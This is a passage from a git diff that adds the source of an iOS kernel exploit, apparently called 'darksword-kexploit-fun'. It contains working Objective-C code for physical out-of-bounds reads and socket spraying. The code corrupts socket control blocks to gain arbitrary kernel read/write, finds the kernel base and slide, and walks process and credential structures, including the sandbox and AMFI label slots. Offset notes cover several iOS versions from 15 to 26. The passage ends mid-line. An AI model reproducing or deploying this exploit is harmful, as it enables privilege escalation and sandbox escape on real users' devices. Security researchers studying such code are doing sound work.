addObject:@(wiredAddr)]; + surface_mlock(wiredAddr, wiredEntrySize); + // Tag each page: marker at +0x0, own address at +0x8 + *(uint64_t *)wiredAddr = wiredPageMarker; + *(uint64_t *)(wiredAddr + 0x8) = wiredAddr; + } + printf("[+] pe_v2: Allocated %llu wired pages\n", nWiredEntries); + + NSMutableArray *targetInpGencntList = [NSMutableArray new]; + + while (true) { + mach_vm_size_t searchMappingSize = 0x800ULL * PAGE_SIZE; + mach_vm_address_t searchMappingAddress = 0; + kr = mach_vm_allocate(mach_task_self(), &searchMappingAddress, searchMappingSize, VM_FLAGS_ANYWHERE | VM_FLAGS_RANDOM_ADDR); + if (kr != KERN_SUCCESS) { + printf("[-] pe_v2: mach_vm_allocate search mapping failed\n"); + FAILURE(0); + } + for (uint64_t k = 0; k < searchMappingSize; k += PAGE_SIZE) { + *(uint64_t *)(searchMappingAddress + k) = randomMarker; + } + surface_mlock(searchMappingAddress, searchMappingSize); + + mach_port_t memoryObject = 0; + mach_vm_size_t memoryObjectSize = searchMappingSize; + kr = mach_make_memory_entry_64(mach_task_self(), &memoryObjectSize, searchMappingAddress, VM_PROT_DEFAULT, &memoryObject, 0); + if (kr != KERN_SUCCESS) { + printf("[-] pe_v2: mach_make_memory_entry_64 failed\n"); + FAILURE(0); + } + + socketPorts = [NSMutableArray new]; + socketPcbIds = [NSMutableArray new]; + unsigned socketPortsCount = 0; + uint64_t maxSocketsCount = 0x5800; + uint64_t splitCount = 8; + + bool success = false; + mach_vm_offset_t seekingOffset = 0; + + while (seekingOffset < searchMappingSize) { + kr = physical_oob_read_mo(memoryObject, seekingOffset, OOB_SIZE, OOB_OFFSET, readBuffer); + if (kr != KERN_SUCCESS) { + seekingOffset += PAGE_SIZE; + continue; + } + + uint64_t firstQword = *(uint64_t *)readBuffer; + + if (firstQword == wiredPageMarker) { + // Found a wired page! Read back the stored virtual address. + uint64_t wiredPage = *(uint64_t *)((uint8_t *)readBuffer + 0x8); + printf("[i] pe_v2: offset %#llx: Found wired page %#llx\n", seekingOffset, wiredPage); + + // Remove from tracking array + NSNumber *wiredPageNum = @(wiredPage); + NSUInteger idx = [wiredAddrs indexOfObject:wiredPageNum]; + if (idx == NSNotFound) { + printf("[-] pe_v2: Found old/duplicate wired page, skipping\n"); + seekingOffset += PAGE_SIZE; + continue; + } + [wiredAddrs removeObjectAtIndex:idx]; + + // Clear the marker and deallocate — this frees the physical page + *(uint64_t *)wiredPage = 0; + *(uint64_t *)(wiredPage + 0x8) = 0; + kr = mach_vm_deallocate(mach_task_self(), wiredPage, wiredEntrySize); + if (kr != KERN_SUCCESS) { + printf("[-] pe_v2: Failed to deallocate wired page\n"); + } + + // Incremental socket spray into the freed physical page + for (uint64_t sc = 0; sc < maxSocketsCount / splitCount; sc++) { + mach_port_t port = spray_socket(socketPorts, socketPcbIds); + if (port == (mach_port_t)-1) { + printf("[-] pe_v2: Failed to spray sockets: %u\n", socketPortsCount); + break; + } + socketPortsCount++; + } + + // Try to find and corrupt a socket on this page + if (find_and_corrupt_socket(memoryObject, seekingOffset, readBuffer, writeBuffer, targetInpGencntList, true) == KERN_SUCCESS) { + printf("[+] pe_v2: offset %#llx: Reallocated PCB page!\n", seekingOffset); + success = true; + break; + } else { + // If we've exhausted sockets, release all and wait for zone trimming + if (socketPortsCount >= maxSocketsCount) { + sockets_release(socketPorts, socketPcbIds); + socketPorts = [NSMutableArray new]; + socketPcbIds = [NSMutableArray new]; + socketPortsCount = 0; + printf("[+] pe_v2: Socket limit reached, waiting for zone trimming...\n"); + sleep(20); + } + // Restart scanning from beginning + seekingOffset = 0; + } + } else if (find_and_corrupt_socket(memoryObject, seekingOffset, readBuffer, writeBuffer, targetInpGencntList, false) == KERN_SUCCESS) { + // Found a PCB page without wired marker + printf("[+] pe_v2: offset %#llx: Found PCB page!\n", seekingOffset); + success = true; + break; + } else { + seekingOffset += PAGE_SIZE; + } + } + + kr = mach_port_deallocate(mach_task_self(), memoryObject); + sockets_release(socketPorts, socketPcbIds); + kr = mach_vm_deallocate(mach_task_self(), searchMappingAddress, searchMappingSize); + + if (success) break; + } + + // Cleanup: deallocate remaining wired pages + for (NSNumber *addr in wiredAddrs) { + mach_vm_deallocate(mach_task_self(), addr.unsignedLongLongValue, wiredEntrySize); + } + printf("[+] pe_v2: Done, cleaned up %lu remaining wired pages\n", (unsigned long)wiredAddrs.count); + free(readBuffer); + free(writeBuffer); +} + +void krw_sockets_leak_forever(void) { + uint64_t controlSocketAddr = + early_kread64(controlSocketPcb + off_inpcb_inp_socket); + uint64_t rwSocketAddr = + early_kread64(rwSocketPcb + off_inpcb_inp_socket); + + if (!controlSocketAddr || !rwSocketAddr) { + printf("[-] Couldn't find controlSocketAddr || rwSocketAddr\n"); + FAILURE(0); + } + + uint64_t controlSocketSoCount = + early_kread64(controlSocketAddr + off_socket_so_usecount); + uint64_t rwSocketSoCount = + early_kread64(rwSocketAddr + off_socket_so_usecount); + early_kwrite64(controlSocketAddr + off_socket_so_usecount, + controlSocketSoCount + 0x0000100100001001); + early_kwrite64(rwSocketAddr + off_socket_so_usecount, + rwSocketSoCount + 0x0000100100001001); + + early_kwrite64(rwSocketPcb + off_inpcb_inp_depend6_inp6_chksum, 0); +} + +uint64_t g_kernel_base; +uint64_t g_kernel_slide; + +int kexploit_opa334(void) { + // to support various iOS 17 - 26 versions + offsets_init(); + + init_globals(); + + if (gIsA18Above) { + printf("[+] Running on A18/M4 device\n"); + sleep(8); + pe_init(); + pe_v2(); + } else { + printf("[+] Running on non-A18/M4 device\n"); + pe_init(); + pe_v1(); + } + + printf("[+] highestSuccessIdx: %d\n", highestSuccessIdx); + printf("[+] successReadCount: %d\n", successReadCount); + + goSync = 0; + raceSync = 1; + pthread_join(freeThread, NULL); + close(writeFd); + close(readFd); + + controlSocketPcb = early_kread64(rwSocketPcb + off_inpcb_inp_list_le_next); + uint64_t pcbinfo_pointer = early_kread64(controlSocketPcb + off_inpcb_inp_pcbinfo); + uint64_t ipi_zone = early_kread64(pcbinfo_pointer + off_inpcbinfo_ipi_zone); + uint64_t zv_name = early_kread64(ipi_zone + off_kalloc_type_view_kt_zv_zv_name); + + g_kernel_base = zv_name & 0xFFFFFFFFFFFFC000; + while (true) { + // PRINT_VAR(g_kernel_base); + if (early_kread64(g_kernel_base) == 0x100000cfeedfacf) { + if(gIsPACSupported) { //arm64e devices + if (SYSTEM_VERSION_GREATER_THAN_OR_EQUAL_TO(@"16.0") && SYSTEM_VERSION_LESS_THAN(@"19.0") && early_kread64(g_kernel_base + 0x8) == 0xc00000002) { // iOS 16.x, 17.x, 18.x + break; + } + if (SYSTEM_VERSION_GREATER_THAN_OR_EQUAL_TO(@"26.0") && early_kread64(g_kernel_base + 0x8) == 0xCC0000002) { // iOS 26.x + break; + } + if(SYSTEM_VERSION_LESS_THAN(@"16.0")) { // iOS 15.x + break; + } + } else { //arm64 devices + if(early_kread64(g_kernel_base + 0x8) == 0x200000000) { //tested only on ipad7 18.0 + break; + } + } + } + g_kernel_base -= PAGE_SIZE; + } + + g_kernel_slide = g_kernel_base - 0xfffffff007004000; + + printf("early_kread64(%#llx) -> %#llx\n", g_kernel_base, + early_kread64(g_kernel_base)); + + printf("win??\n"); + + krw_sockets_leak_forever(); + + fflush(stdout); + sleep(1); + + return 0; +} diff --git a/kexploit/krw.h b/kexploit/krw.h new file mode 100644 index 0000000..d655e48 --- /dev/null +++ b/kexploit/krw.h @@ -0,0 +1,37 @@ +// +// krw.m +// darksword-kexploit-fun +// +// Created by seo on 3/24/26. +// + +#ifndef krw_m +#define krw_m + +#import +#import +#import "offsets.h" + +#define BIT(b) (1ULL << (b)) +#define ONES(x) (BIT((x))-1) +#define PTR_MASK ONES(64-t1sz_boot) +#define PAC_MASK (~PTR_MASK) +#define SIGN(p) ((p) & BIT(55)) +#define UNSIGN_PTR(p) (SIGN(p) ? ((p) | PAC_MASK) : ((p) & ~PAC_MASK)) + +bool is_kaddr_valid(uint64_t addr); +void kreadbuf(uint64_t addr, void *buf, uint64_t len); +void kwritebuf(uint64_t addr, const void *buf, uint64_t len); +uint16_t kread16(uint64_t kaddr); +uint32_t kread32(uint64_t kaddr); +uint64_t kread64(uint64_t kaddr); +void kwrite8(uint64_t kaddr, uint8_t val); +void kwrite16(uint64_t kaddr, uint16_t val); +void kwrite32(uint64_t kaddr, uint32_t val); +void kwrite64(uint64_t kaddr, uint64_t val); +void khexdump(uint64_t addr, size_t size); +uint64_t kread_ptr(uint64_t va); +uint64_t kread_smrptr(uint64_t va); +void kwrite_zone_element(uint64_t dst, const void *src, uint64_t len); + +#endif /* krw_m */ diff --git a/kexploit/krw.m b/kexploit/krw.m new file mode 100644 index 0000000..04ba46c --- /dev/null +++ b/kexploit/krw.m @@ -0,0 +1,192 @@ +// +// krw.m +// darksword-kexploit-fun +// +// Created by seo on 3/24/26. +// +#import "krw.h" +#import "kexploit_opa334.h" +#import +#import +#import +#import +#import +#import "xpaci.h" +#import "offsets.h" + +extern bool gIsPACSupported; + +bool is_kaddr_valid(uint64_t addr) { + if ((addr & 0xfffff00000000000) != 0xfffff00000000000) { + return false; + } + return true; +} + +uint16_t kread16(uint64_t kaddr) +{ + return (uint16_t)(early_kread64(kaddr) & 0xFFFF); +} + +uint32_t kread32(uint64_t kaddr) +{ + return (uint32_t)(early_kread64(kaddr) & 0xFFFFFFFF); +} + +uint64_t kread64(uint64_t kaddr) +{ + return early_kread64(kaddr); +} + +void kwrite8(uint64_t kaddr, uint8_t val) +{ + uint64_t what = early_kread64(kaddr); + early_kwrite64(kaddr, (what & 0xFFFFFFFFFFFFFF00ULL) | (uint64_t)val); +} + +void kwrite16(uint64_t kaddr, uint16_t val) +{ + uint64_t what = early_kread64(kaddr); + early_kwrite64(kaddr, (what & 0xFFFFFFFFFFFF0000ULL) | (uint64_t)val); +} + +void kwrite32(uint64_t kaddr, uint32_t val) +{ + uint64_t what = early_kread64(kaddr); + early_kwrite64(kaddr, (what & 0xFFFFFFFF00000000ULL) | (uint64_t)val); +} + +void kwrite64(uint64_t kaddr, uint64_t val) +{ + early_kwrite64(kaddr, val); +} + +uint8_t kread8(uint64_t addr) { + uint32_t low = kread32(addr); + return (uint8_t)(low & 0xFF); +} + +void kreadbuf(uint64_t addr, void *buf, uint64_t len) { + for (size_t off = 0; off < len; off += 8) { + uint64_t val = early_kread64(addr + off); + size_t chunk = (len - off >= 8) ? 8 : (len - off); + memcpy((uint8_t *)buf + off, &val, chunk); + } +} + +void kwritebuf(uint64_t addr, const void *buf, uint64_t len) +{ + for (size_t off = 0; off < len; off += 8) { + uint64_t val = 0; + size_t chunk = (len - off >= 8) ? 8 : (len - off); + memcpy(&val, (const uint8_t *)buf + off, chunk); + if (chunk == 8) { + early_kwrite64(addr + off, val); + } else { + uint64_t original = early_kread64(addr + off); + uint64_t mask = (1ULL << (chunk * 8)) - 1; + early_kwrite64(addr + off, (original & ~mask) | (val & mask)); + } + } +} + +void khexdump(uint64_t addr, size_t size) { + void *data = malloc(size); + + for (size_t off = 0; off < size; off += 8) { + uint64_t val = early_kread64(addr + off); + size_t chunk = (size - off >= 8) ? 8 : (size - off); + memcpy((uint8_t *)data + off, &val, chunk); + } + + char ascii[17]; + size_t i, j; + ascii[16] = '\0'; + for (i = 0; i < size; ++i) { + if ((i % 16) == 0) + { + printf("[0x%016llx+0x%03zx] ", addr, i); + } + + printf("%02X ", ((unsigned char*)data)[i]); + if (((unsigned char*)data)[i] >= ' ' && ((unsigned char*)data)[i] <= '~') { + ascii[i % 16] = ((unsigned char*)data)[i]; + } else { + ascii[i % 16] = '.'; + } + if ((i+1) % 8 == 0 || i+1 == size) { + printf(" "); + if ((i+1) % 16 == 0) { + printf("| %s \n", ascii); + } else if (i+1 == size) { + ascii[(i+1) % 16] = '\0'; + if ((i+1) % 16 <= 8) { + printf(" "); + } + for (j = (i+1) % 16; j < 16; ++j) { + printf(" "); + } + printf("| %s \n", ascii); + } + } + } + free(data); +} + +uint64_t kread_ptr(uint64_t va) +{ + return xpaci(kread64(va)); +} + +uint64_t kread_smrptr(uint64_t va) +{ + uint64_t value = kread_ptr(va); + + uint64_t bits = (smr_base << (62-t1sz_boot)); + + if((value & bits) == 0) { + return ((value & (0xFFFFFFFFFFFFC000 & ~bits)) | bits); + } + return (value & 0xFFFFFFFFFFFFFFE0); +} + +void kwrite_zone_element(uint64_t dst, const void *src, uint64_t len) +{ + if (len < EARLY_KRW_LENGTH) { + printf("[%s:%d] kwrite_zone_element: len < 0x20 not supported\n", + __FUNCTION__, __LINE__); + return; + } + + uint8_t tmpBuf[EARLY_KRW_LENGTH]; + uint64_t remaining = len; + uint64_t offset = 0; + + while (remaining != 0) { + uint64_t writeSize = (remaining >= EARLY_KRW_LENGTH) + ? EARLY_KRW_LENGTH + : (remaining % EARLY_KRW_LENGTH); + + uint64_t writeDst = dst + offset; + uint64_t srcOff = offset; + + if (writeSize != EARLY_KRW_LENGTH) { + // Last fragment < 0x20: Shift start address backward + // to keep the 0x20-byte block within the zone boundary. + uint64_t adjust = EARLY_KRW_LENGTH - writeSize; + writeDst -= adjust; + srcOff -= adjust; + + // Read existing data from the shifted region (read-modify-write) + kreadbuf(writeDst, tmpBuf, EARLY_KRW_LENGTH); + // Overwrite only the specific portion to be modified + memcpy(tmpBuf + adjust, (const uint8_t *)src + offset, writeSize); + early_kwrite32bytes(writeDst, tmpBuf); + } else { + early_kwrite32bytes(writeDst, (const uint8_t *)src + srcOff); + } + + remaining -= writeSize; + offset += writeSize; + } +} diff --git a/kexploit/kutils.h b/kexploit/kutils.h new file mode 100644 index 0000000..0e7bf26 --- /dev/null +++ b/kexploit/kutils.h @@ -0,0 +1,40 @@ +// +// kutils.h +// darksword-kexploit-fun +// +// Created by seo on 3/25/26. +// + +#ifndef kutils_h +#define kutils_h + +#include +#include +#include +#include + +uint64_t proc_self(void); +uint64_t task_self(void); +char* proc_get_p_name(uint64_t proc); +uint64_t proc_task(uint64_t proc); +uint64_t proc_find(pid_t pid); +uint64_t proc_find_by_name(const char* name); +const char* get_bootManifestHash(void); +uint64_t task_get_ipc_port_kobject(uint64_t task, mach_port_t port); +uint64_t task_get_vm_map(uint64_t task_ptr); +int disable_excguard_kill(uint64_t task); +uint64_t thread_get_t_tro(uint64_t thread); +uint64_t thread_get_task(uint64_t thread); +uint16_t thread_get_options(uint64_t thread); +void thread_set_options(uint64_t thread, uint16_t options); +void thread_set_mutex(uint64_t thread, uint32_t ctid); +uint32_t thread_get_mutex(uint64_t thread); +uint64_t thread_get_kstackptr(uint64_t thread); +uint64_t thread_get_jop_pid(uint64_t thread); +uint64_t thread_get_rop_pid(uint64_t thread); +uint64_t proc_get_cred_label(uint64_t proc); +uint64_t amfi_cslot_get(uint64_t label); +uint64_t label_get_sandbox(uint64_t label); +uint64_t kalloc_array_decode(uint64_t ptr); + +#endif /* kutils_h */ diff --git a/kexploit/kutils.m b/kexploit/kutils.m new file mode 100644 index 0000000..16fc5e3 --- /dev/null +++ b/kexploit/kutils.m @@ -0,0 +1,233 @@ +// +// kutils.m +// darksword-kexploit-fun +// +// Created by seo on 3/25/26. +// + +#import "kutils.h" +#import "kexploit_opa334.h" +#import "krw.h" +#import "offsets.h" +#import +#import +#import +#import +#import + +extern bool gIsPACSupported; +extern uint64_t rwSocketPcb; + +uint64_t gSelfProc = 0; +uint64_t gSelfTask = 0; + +uint64_t proc_self(void) { + if(!gSelfProc) { + uint64_t rwSocketAddr = kread64(rwSocketPcb + off_inpcb_inp_socket); + uint64_t current_thread = kread64(rwSocketAddr + off_socket_so_background_thread); + uint64_t current_thread_ro = kread64(current_thread + off_thread_t_tro); + gSelfProc = kread64(current_thread_ro + off_thread_ro_tro_proc); + } + return gSelfProc; +} + +uint64_t task_self(void) { + if(!gSelfTask) { + uint64_t rwSocketAddr = kread64(rwSocketPcb + off_inpcb_inp_socket); + uint64_t current_thread = kread64(rwSocketAddr + off_socket_so_background_thread); + uint64_t current_thread_ro = kread64(current_thread + off_thread_t_tro); + gSelfTask = kread64(current_thread_ro + off_thread_ro_tro_task); + } + return gSelfTask; +} + +uint64_t proc_find(pid_t pid) { + uint64_t proc = proc_self(); + while (1) { + uint32_t curPid = kread32(proc + off_proc_p_pid); + if (curPid == pid) + return proc; + proc = kread64(proc + off_proc_p_list_le_next); + if(!proc) break; + } + + proc = proc_self(); + while (1) { + uint32_t curPid = kread32(proc + off_proc_p_pid); + if (curPid == pid) + return proc; + proc = kread64(proc + off_proc_p_list_le_prev); + if(!proc) return -1; // not found + } + + return proc; +} + +uint64_t proc_find_by_name(const char* name) { + uint64_t proc = proc_self(); + while (1) { + char *p_name = proc_get_p_name(proc); + if(p_name != NULL && strcmp(p_name, name) == 0) + return proc; + proc = kread64(proc + off_proc_p_list_le_next); + if(!proc) break; + } + + proc = proc_self(); + while (1) { + char *p_name = proc_get_p_name(proc); + if(p_name != NULL && strcmp(p_name, name) == 0) + return proc; + proc = kread64(proc + off_proc_p_list_le_prev); + if(!proc) return -1; // not found + } + + return proc; +} + +char proc_name[32]; +char* proc_get_p_name(uint64_t proc) { + if(!proc) return NULL; + memset(proc_name, 0, 32); + kreadbuf(proc + off_proc_p_name, &proc_name, 32); + return proc_name; +} + +uint64_t proc_task(uint64_t proc) +{ + uint64_t p_proc_ro = kread64(proc + off_proc_p_proc_ro); + uint64_t pr_task = kread64(p_proc_ro + off_proc_ro_pr_task); + return pr_task; +} + +uint64_t ipc_entry_lookup(uint64_t space, mach_port_name_t name) +{ + // New format in iOS 16.1 + uint64_t table = kread_smrptr(space + off_ipc_space_is_table); + // Temporary FIX: + // It seems like only problem occured when arm64 devices (especially iPad 7/17.0) + // When tried running without below if code block, it still works fine on iPhone SE2/17.0, SE3/18.6.2 + // If code blocks running on iPad M4/26.0.x, it occured problems. + if(!gIsPACSupported) { + table |= 0xFFFFFF8000000000ULL; + table = kalloc_array_decode(table); + } + + return (table + (sizeof_ipc_entry * (name >> 8))); +} + +uint64_t task_get_ipc_port_table_entry(uint64_t task, mach_port_t port) +{ + uint64_t itk_space = kread_ptr(task + off_task_itk_space); + return ipc_entry_lookup(itk_space, port); +} + +uint64_t task_get_ipc_port_object(uint64_t task, mach_port_t port) +{ + return kread_ptr(task_get_ipc_port_table_entry(task, port) + off_ipc_entry_ie_object); +} + +uint64_t task_get_ipc_port_kobject(uint64_t task, mach_port_t port) +{ + return kread_ptr(task_get_ipc_port_object(task, port) + off_ipc_port_ip_kobject); +} + +uint64_t task_get_vm_map(uint64_t task_ptr) +{ + return kread_ptr(task_ptr + off_task_map); +} + +uint64_t thread_get_t_tro(uint64_t thread) { + return kread64(thread + off_thread_t_tro); +} + +// from pe_main.js +int disable_excguard_kill(uint64_t task) { + // in mach_port_guard_ast, the victim would crash if these are on. + uint32_t excGuard = kread32(task + off_task_task_exc_guard); + excGuard &= ~(TASK_EXC_GUARD_MP_CORPSE | TASK_EXC_GUARD_MP_FATAL); + excGuard |= TASK_EXC_GUARD_MP_DELIVER; + kwrite32(task + off_task_task_exc_guard, excGuard); + + return 0; +} + +uint64_t thread_get_task(uint64_t thread) +{ + uint64_t tro = thread_get_t_tro(thread); + return kread64(tro + off_thread_ro_tro_task); +} + +uint16_t thread_get_options(uint64_t thread) +{ + return kread16(thread + off_thread_options); +} + +void thread_set_options(uint64_t thread, uint16_t options) { + kwrite16(thread + off_thread_options, options); +} + +void thread_set_mutex(uint64_t thread, uint32_t ctid) { + kwrite32(thread + off_thread_mutex_lck_mtx_data, ctid); +} + +uint32_t thread_get_mutex(uint64_t thread) { + return kread32(thread + off_thread_mutex_lck_mtx_data); +} + +uint64_t thread_get_kstackptr(uint64_t thread) { + return kread_ptr(thread + off_thread_machine_kstackptr); +} + +uint64_t thread_get_jop_pid(uint64_t thread) { + return kread64(thread + off_thread_machine_jop_pid); +} + +uint64_t thread_get_rop_pid(uint64_t thread) { + return kread64(thread + off_thread_machine_rop_pid); +} + +const char* get_bootManifestHash(void) { + struct statfs fs; + if (statfs("/usr/standalone/firmware", &fs) == 0) { + NSString *mountedPath = [NSString stringWithUTF8String:fs.f_mntfromname]; + NSArray *components = [mountedPath componentsSeparatedByString:@"/"]; + if ([components count] > 3) { + NSString *substring = components[3]; + return substring.UTF8String; + } + } + return NULL; +} + +uint64_t proc_get_cred_label(uint64_t proc) { + uint64_t p_proc_ro = kread64(proc + off_proc_p_proc_ro); + uint64_t ucred = kread64(p_proc_ro + off_proc_ro_p_ucred); + uint64_t label = kread_ptr(ucred + off_ucred_cr_label); + return label; +} + +uint64_t amfi_cslot_get(uint64_t label) { + return kread64(label + off_label_l_perpolicy_amfi); +} + +uint64_t label_get_sandbox(uint64_t label) { + return kread64(label + off_label_l_perpolicy_sandbox); +} + +// from Darksword's libs/TaskRop/Task.js - static #kallocArrayDecodeAddr(ptr) +uint64_t kalloc_array_decode(uint64_t ptr) +{ + //xnu-10002.61.3/osfmk/kern/kalloc.c:2047 + uint64_t shift = 64 - t1sz_boot - 1; + uint64_t zone_mask = 1ULL << shift; + + if (ptr & zone_mask) { + ptr &= ~0x1FULL; + } else { + ptr &= ~0x3FFFULL; + ptr |= zone_mask; + } + return ptr; +} + diff --git a/kexploit/machine_info.h b/kexploit/machine_info.h new file mode 100644 index 0000000..215fd8c --- /dev/null +++ b/kexploit/machine_info.h @@ -0,0 +1,86 @@ +#ifndef MACHINE_INFO_H +#define MACHINE_INFO_H + +#include + +/* A8 */ +#ifndef CPUFAMILY_ARM_TYPHOON +#define CPUFAMILY_ARM_TYPHOON 0x2c91a47e +#endif + +/* A9 */ +#ifndef CPUFAMILY_ARM_TWISTER +#define CPUFAMILY_ARM_TWISTER 0x92fb37c8 +#endif + +/* A10 */ +#ifndef CPUFAMILY_ARM_HURRICANE +#define CPUFAMILY_ARM_HURRICANE 0x67ceee93 +#endif + +/* A11 */ +#ifndef CPUFAMILY_ARM_MONSOON_MISTRAL +#define CPUFAMILY_ARM_MONSOON_MISTRAL 0xe81e7ef6 +#endif + +/* A12 */ +#ifndef CPUFAMILY_ARM_VORTEX_TEMPEST +#define CPUFAMILY_ARM_VORTEX_TEMPEST 0x07d34b9f +#endif + +/* A13 */ +#ifndef CPUFAMILY_ARM_LIGHTNING_THUNDER +#define CPUFAMILY_ARM_LIGHTNING_THUNDER 0x462504d2 +#endif + +/* A14, M1 */ +#ifndef CPUFAMILY_ARM_FIRESTORM_ICESTORM +#define CPUFAMILY_ARM_FIRESTORM_ICESTORM 0x1b588bb3 +#endif + +/* A15, M2 */ +#ifndef CPUFAMILY_ARM_BLIZZARD_AVALANCHE +#define CPUFAMILY_ARM_BLIZZARD_AVALANCHE 0xda33d83d +#endif + +/* A16 */ +#ifndef CPUFAMILY_ARM_EVEREST_SAWTOOTH +#define CPUFAMILY_ARM_EVEREST_SAWTOOTH 0x8765edea +#endif + +/* A17 */ +#ifndef CPUFAMILY_ARM_COLL +#define CPUFAMILY_ARM_COLL 0x2876f5b5 +#endif + +/* A18 */ +#ifndef CPUFAMILY_ARM_TUPAI +#define CPUFAMILY_ARM_TUPAI 0x204526d0 +#endif + +/* A18 Pro */ +#ifndef CPUFAMILY_ARM_TAHITI +#define CPUFAMILY_ARM_TAHITI 0x75d4acb9 +#endif + +/* M3 */ +#ifndef CPUFAMILY_ARM_IBIZA +#define CPUFAMILY_ARM_IBIZA 0xfa33415e +#endif + +/* M4 */ +#ifndef CPUFAMILY_ARM_DONAN +#define CPUFAMILY_ARM_DONAN 0x6f5129ac +#endif + +/* A19 */ +#ifndef CPUFAMILY_ARM_TILOS +#define CPUFAMILY_ARM_TILOS 0x01d7a72b +#endif + +/* A19 Pro */ +#ifndef CPUFAMILY_ARM_THERA +#define CPUFAMILY_ARM_THERA 0xab345f09 +#endif + +#endif /* MACHINE_INFO_H */ diff --git a/kexploit/offsets.h b/kexploit/offsets.h new file mode 100644 index 0000000..780791a --- /dev/null +++ b/kexploit/offsets.h @@ -0,0 +1,100 @@ +// +// offsets.h +// darksword-kexploit-fun +// +// Created by seo on 3/24/26. +// + +#import +#import + +extern uint32_t off_inpcb_inp_list_le_next; +extern uint32_t off_inpcb_inp_pcbinfo; +extern uint32_t off_inpcb_inp_socket; +extern uint32_t off_inpcbinfo_ipi_zone; +extern uint32_t off_inpcb_inp_depend6_inp6_icmp6filt; +extern uint32_t off_inpcb_inp_depend6_inp6_chksum; +extern uint32_t off_socket_so_usecount; +extern uint32_t off_socket_so_proto; +extern uint32_t off_socket_so_background_thread; +extern uint32_t off_kalloc_type_view_kt_zv_zv_name; +extern uint32_t off_thread_t_tro; +extern uint32_t off_thread_ro_tro_proc; +extern uint32_t off_thread_ro_tro_task; +extern uint32_t off_thread_machine_upcb; +extern uint32_t off_thread_machine_contextdata; +extern uint32_t off_thread_ctid; +extern uint32_t off_thread_options; +extern uint32_t off_thread_mutex_lck_mtx_data; +extern uint32_t off_thread_machine_kstackptr; +extern uint32_t off_thread_guard_exc_info_code; +extern uint32_t off_thread_mach_exc_info_code; +extern uint32_t off_thread_mach_exc_info_os_reason; +extern uint32_t off_thread_mach_exc_info_exception_type; +extern uint32_t off_thread_ast; +extern uint32_t off_thread_task_threads_next; +extern uint32_t off_thread_machine_jop_pid; +extern uint32_t off_thread_machine_rop_pid; +extern uint32_t off_proc_p_list_le_next; +extern uint32_t off_proc_p_list_le_prev; +extern uint32_t off_proc_p_proc_ro; +extern uint32_t off_proc_p_pid; +extern uint32_t off_proc_p_fd; +extern uint32_t off_proc_p_flag; +extern uint32_t off_proc_p_textvp; +extern uint32_t off_proc_p_name; +extern uint32_t off_proc_ro_pr_task; +extern uint32_t off_proc_ro_p_ucred; +extern uint32_t off_ucred_cr_label; +extern uint32_t off_task_itk_space; +extern uint32_t off_task_threads_next; +extern uint32_t off_task_task_exc_guard; +extern uint32_t off_task_map; +extern uint32_t off_filedesc_fd_ofiles; +extern uint32_t off_filedesc_fd_cdir; +extern uint32_t off_fileproc_fp_glob; +extern uint32_t off_fileglob_fg_data; +extern uint32_t off_fileglob_fg_flag; +extern uint32_t off_vnode_v_ncchildren_tqh_first; +extern uint32_t off_vnode_v_nclinks_lh_first; +extern uint32_t off_vnode_v_parent; +extern uint32_t off_vnode_v_data; +extern uint32_t off_vnode_v_name; +extern uint32_t off_vnode_v_usecount; +extern uint32_t off_vnode_v_iocount; +extern uint32_t off_vnode_v_writecount; +extern uint32_t off_vnode_v_flag; +extern uint32_t off_vnode_v_mount; +extern uint32_t off_mount_mnt_flag; +extern uint32_t off_namecache_nc_vp; +extern uint32_t off_namecache_nc_child_tqe_next; +extern uint32_t off_arm_saved_state64_lr; +extern uint32_t off_arm_saved_state64_pc; +extern uint32_t off_arm_saved_state_uss_ss_64; +extern uint32_t off_ipc_space_is_table; +extern uint32_t off_ipc_entry_ie_object; +extern uint32_t off_ipc_port_ip_kobject; +extern uint32_t off_arm_kernel_saved_state_sp; +extern uint32_t off_vm_map_hdr; +extern uint32_t off_vm_map_header_nentries; +extern uint32_t off_vm_map_entry_links_next; +extern uint32_t off_vm_map_entry_vme_object_or_delta; +extern uint32_t off_vm_map_entry_vme_alias; +extern uint32_t off_vm_map_header_links_next; +extern uint32_t off_vm_object_vo_un1_vou_size; +extern uint32_t off_vm_object_ref_count; +extern uint32_t off_vm_named_entry_backing_copy; +extern uint32_t off_vm_named_entry_size; +extern uint32_t off_label_l_perpolicy_amfi; +extern uint32_t off_label_l_perpolicy_sandbox; + +extern uint32_t sizeof_ipc_entry; + +extern uint64_t smr_base; +extern uint64_t t1sz_boot; +extern uint64_t pac_mask; + +extern uint64_t VM_MIN_KERNEL_ADDRESS; +extern uint64_t VM_MAX_KERNEL_ADDRESS; + +void offsets_init(void); diff --git a/kexploit/offsets.m b/kexploit/offsets.m new file mode 100644 index 0000000..a4e1064 --- /dev/null +++ b/kexploit/offsets.m @@ -0,0 +1,976 @@ +// +// offsets.m +// darksword-kexploit-fun +// +// Created by seo on 3/24/26. +// + +#import "offsets.h" +#import "kexploit_opa334.h" +#import "machine_info.h" +#import +#import +#import + +/* +Currently, I've tested on.. +- iPhone12,8 (iOS 17.0) +- iPhone13,1 (iOS 17.6.1) +- iPhone15,2 (iOS 17.2.1) +- iPad7,11 (18.0) +- iPhone14,6 (iOS 18.6.2) +- iPhone14,6 (iOS 26.0) + */ + +// You can obtain offsets from macOS KDK that matching xnu version; always not same with iOS, but almost similar. +uint32_t off_inpcb_inp_list_le_next = 0; // (lldb) p/x offsetof(inpcb, inp_list.le_next) +uint32_t off_inpcb_inp_pcbinfo = 0; // (lldb) p/x offsetof(inpcb, inp_pcbinfo) +uint32_t off_inpcb_inp_socket = 0; // (lldb) p/x offsetof(inpcb, inp_socket) +uint32_t off_inpcb_inp_depend6_inp6_icmp6filt = 0; // (lldb) p/x offsetof(inpcb, inp_depend6.inp6_icmp6filt) +uint32_t off_inpcb_inp_depend6_inp6_chksum = 0; // (lldb) p/x offsetof(inpcb, inp_depend6.inp6_cksum) +uint32_t off_inpcbinfo_ipi_zone = 0; // (lldb) p/x offsetof(inpcbinfo, ipi_zone) +uint32_t off_socket_so_usecount = 0; // (lldb) p/x offsetof(socket, so_usecount) +uint32_t off_socket_so_proto = 0; // (lldb) p/x offsetof(socket, so_proto) +uint32_t off_socket_so_background_thread = 0; // (lldb) p/x offsetof(socket, so_background_thread) +uint32_t off_kalloc_type_view_kt_zv_zv_name = 0; // (lldb) p/x offsetof(kalloc_type_view, kt_zv.zv_name) +// NOT POSSIBLE TO find offset from KDK. (lldb) p/x offsetof(thread, t_tro) +// iOS 17.x, 18.x, 26.x: find hex E1 00 00 54 28 00 40 F9 1F 01 00 EB C1 00 00 54, and get it from prologue+0xc or +0x10; +uint32_t 